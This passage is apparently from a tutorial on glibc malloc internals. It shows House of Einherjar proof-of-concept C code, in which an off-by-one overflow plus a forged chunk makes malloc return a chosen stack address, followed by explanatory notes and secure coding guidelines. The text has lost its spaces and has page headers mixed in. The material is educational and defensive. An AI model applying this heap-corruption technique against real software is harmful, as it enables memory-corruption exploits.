structchunk_structure*fd;

structchunk_structure*bk;

charbuf[32];//padding

};

structchunk_structure*chunk1,fake_chunk;//fakechunkisat0x7ffee6b64e90

size_tallotedSize;

unsignedlonglong*ptr1,*ptr2;

char*ptr;

void*victim;

//Allocateanychunk

//Theattackerwilloverflow1bytethroughthischunkintothenextone

ptr1=malloc(40);//at0x1dbb010

//Allocateanotherchunk

ptr2=malloc(0xf8);//at0x1dbb040

chunk1=(structchunk_structure*)(ptr1-2);

allotedSize=chunk1->size&~(0x1|0x2|0x4);

allotedSize-=sizeof(size_t);//Heapmetadatafor'prev_size'ofchunk1

//Attackerinitiatesaheapoverflow

//Offbyoneoverflowofptr1,overflowsintoptr2's'size'

ptr=(char*)ptr1;

ptr[allotedSize]=0;//ZeroesoutthePREV_IN_USEbit

//Fakechunk

fake_chunk.size=0x100;//enoughsizetoservicethemallocrequest

//Thesetwowillensurethatunlinksecuritycheckspass

//i.e.P->fd->bk==PandP->bk->fd==P

fake_chunk.fd=&fake_chunk;

fake_chunk.bk=&fake_chunk;

//Overwriteptr2'sprev_sizesothatptr2'schunk-prev_sizepointstoourfakechunk

//Thisfallswithintheboundsofptr1'schunk-noneedtooverflow

*(size_t*)&ptr[allotedSize-sizeof(size_t)]=

(size_t)&ptr[allotedSize-sizeof(size_t)]//ptr2's

chunk

-(size_t)&fake_chunk;

//Freethesecondchunk.Itwilldetectthepreviouschunkinmemoryasfreeandtry

//tomergewithit.Now,topchunkwillpointtofake_chunk

free(ptr2);

victim=malloc(40);//Returnsaddress0x7ffee6b64ea0!!

HouseofEinherjar

52

Page 53: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Notethefollowing:

1. Thesecondchunk'ssizewasgivenas0xf8.Thissimplyensuredthattheactualchunk'ssizehastheleastsignificantbyteas0(ignoringtheflagbits).Hence,itwasasimplemattertosetthepreviousinusebitto0withoutchangingthesizeofthischunk.

2. TheallotedSizewasfurtherdecreasedbysizeof(size_t).allotedSizeisequaltothesizeofthecompletechunk.However,thesizeallowedfordataissizeof(size_t)less,ortheequivalentofthesizeparameterintheheap.Thisisbecausesizeandprev_sizeofthecurrentchunkcannotbeused,buttheprev_sizeofthenextchunkcanbeused.

3. Fakechunk'sforwardandbackwardpointerswereadjustedtopassthesecuritycheckinunlink.

HouseofEinherjar

53

Page 54: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

SecureCodingGuidelinesAlloftheattacksmentionedaboveareonlypossiblewhenthewriterofthecodemakeshis/herownassumptionsofthevariousfunctionsprovidedbyglibc'sAPI.Forexample,developersmigratingfromotherlanguagessuchasJava,etc.assumethatitisthedutyofthecompilertodetectoverflowsduringruntime.

Here,somesecurecodingguidelinesarepresented.Ifthesoftwareisdevelopedkeepingtheseinmind,itwillpreventthepreviouslymentionedattacks:

1. Useonlytheamountofmemoryaskedusingmalloc.Makesurenottocrosseitherboundary.

2. Freeonlythememorythatwasdynamicallyallocatedexactlyonce.3. Neveraccessfreedmemory.4. AlwayscheckthereturnvalueofmallocforNULL.

Theabove-mentionedguidelinesaretobefollowedstrictly.Belowaresomeadditionalguidelinesthatwillhelptofurtherpreventattacks:

1. Aftereveryfree,re-assigneachpointerpointingtotherecentlyfreedmemorytoNULL.2. Alwaysreleaseallocatedstorageinerrorhandlers.3. Zerooutsensitivedatabeforefreeingitusingmemset.4. Donotmakeanyassumptionregardingthepositioningofthereturnedaddressesfrom

malloc.

HappyCoding!

SecureCodingGuidelines

54